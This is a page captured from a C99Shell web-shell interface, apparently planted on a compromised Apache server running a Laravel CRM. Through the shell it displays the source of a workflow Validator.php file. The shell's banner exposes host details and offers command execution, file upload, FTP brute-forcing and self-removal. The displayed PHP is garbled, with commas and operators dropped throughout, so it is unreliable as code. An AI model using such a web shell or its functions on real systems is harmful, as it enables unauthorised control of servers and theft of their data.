!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/laravel-crm/packages/Webkul/Automation/src/Helpers/   drwxrwxrwx
Free 13.05 GB of 57.97 GB (22.51%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Validator.php (5.21 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Webkul\Automation\Helpers;

class 
Validator
{
    
/**
     * Validate workflow for condition
     *
     * @param  \Webkul\Automation\Contracts\Workflow  $workflow
     * @param  mixed  $entity
     * @return bool
     */
    
public function validate($workflow$entity)
    {
        if (! 
$workflow->conditions) {
            return 
true;
        }

        
$validConditionCount $totalConditionCount 0;

        foreach (
$workflow->conditions as $condition) {
            if (! 
$condition['attribute']
                || ! isset(
$condition['value'])
                || 
is_null($condition['value'])
                || 
$condition['value'] == ''
            
) {
                continue;
            }

            
$totalConditionCount++;

            if (
$workflow->condition_type == 'and') {
                if (! 
$this->validateEntity($condition$entity)) {
                    return 
false;
                } else {
                    
$validConditionCount++;
                }
            } else {
                if (
$this->validateEntity($condition$entity)) {
                    return 
true;
                }
            }
        }

        return 
$validConditionCount == $totalConditionCount true false;
    }

    
/**
     * Validate object
     *
     * @param  array  $condition
     * @param  mixed  $entity
     * @return bool
     */
    
private function validateEntity($condition$entity)
    {
        return 
$this->validateAttribute(
            
$condition,
            
$this->getAttributeValue($condition$entity)
        );
    }

    
/**
     * Return value for the attribute
     *
     * @param  array  $condition
     * @param  mixed  $entity
     * @return bool
     */
    
public function getAttributeValue($condition$entity)
    {
        
$value $entity->{$condition['attribute']};

        if (! 
in_array($condition['attribute_type'], ['multiselect''checkbox'])) {
            return 
$value;
        }

        return 
$value explode(','$value) : [];
    }

    
/**
     * Validate attribute value for condition
     *
     * @param  array  $condition
     * @param  mixed  $attributeValue
     * @return bool
     */
    
public function validateAttribute($condition$attributeValue)
    {
        switch (
$condition['operator']) {
            case 
'==': case '!=':
                if (
is_array($condition['value'])) {
                    if (! 
is_array($attributeValue)) {
                        return 
false;
                    }

                    
$result = ! empty(array_intersect($condition['value'], $attributeValue));
                } elseif (
is_object($attributeValue)) {
                    
$result $attributeValue->value == $condition['value'];
                } else {
                    if (
is_array($attributeValue)) {
                        
$result count($attributeValue) == && array_shift($attributeValue) == $condition['value'];
                    } else {
                        
$result $attributeValue == $condition['value'];
                    }
                }

                break;

            case 
'<=': case '>':
                if (! 
is_scalar($attributeValue)) {
                    return 
false;
                }

                
$result $attributeValue <= $condition['value'];

                break;

            case 
'>=': case '<':
                if (! 
is_scalar($attributeValue)) {
                    return 
false;
                }

                
$result $attributeValue >= $condition['value'];

                break;

            case 
'{}': case '!{}':
                if (
is_scalar($attributeValue) && is_array($condition['value'])) {
                    foreach (
$condition['value'] as $item) {
                        if (
stripos($attributeValue$item) !== false) {
                            
$result true;

                            break;
                        }
                    }
                } elseif (
is_array($condition['value'])) {
                    if (! 
is_array($attributeValue)) {
                        return 
false;
                    }

                    
$result = ! empty(array_intersect($condition['value'], $attributeValue));
                } else {
                    if (
is_array($attributeValue)) {
                        
$result self::validateArrayValues($attributeValue$condition['value']);
                    } else {
                        
$result strpos($attributeValue$condition['value']) !== false;
                    }
                }

                break;
        }

        if (
in_array($condition['operator'], ['!=''>''<''!{}'])) {
            
$result = ! $result;
        }

        return 
$result;
    }

    
/**
     * Validate the condition value against a multi dimensional array recursively
     */
    
private static function validateArrayValues(array $attributeValuestring $conditionValue): bool
    
{
        if (
in_array($conditionValue$attributeValuetrue) === true) {
            return 
true;
        }

        foreach (
$attributeValue as $subValue) {
            if (! 
is_array($subValue)) {
                continue;
            }

            if (
self::validateArrayValues($subValue$conditionValue) === true) {
                return 
true;
            }
        }

        return 
false;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0055 ]--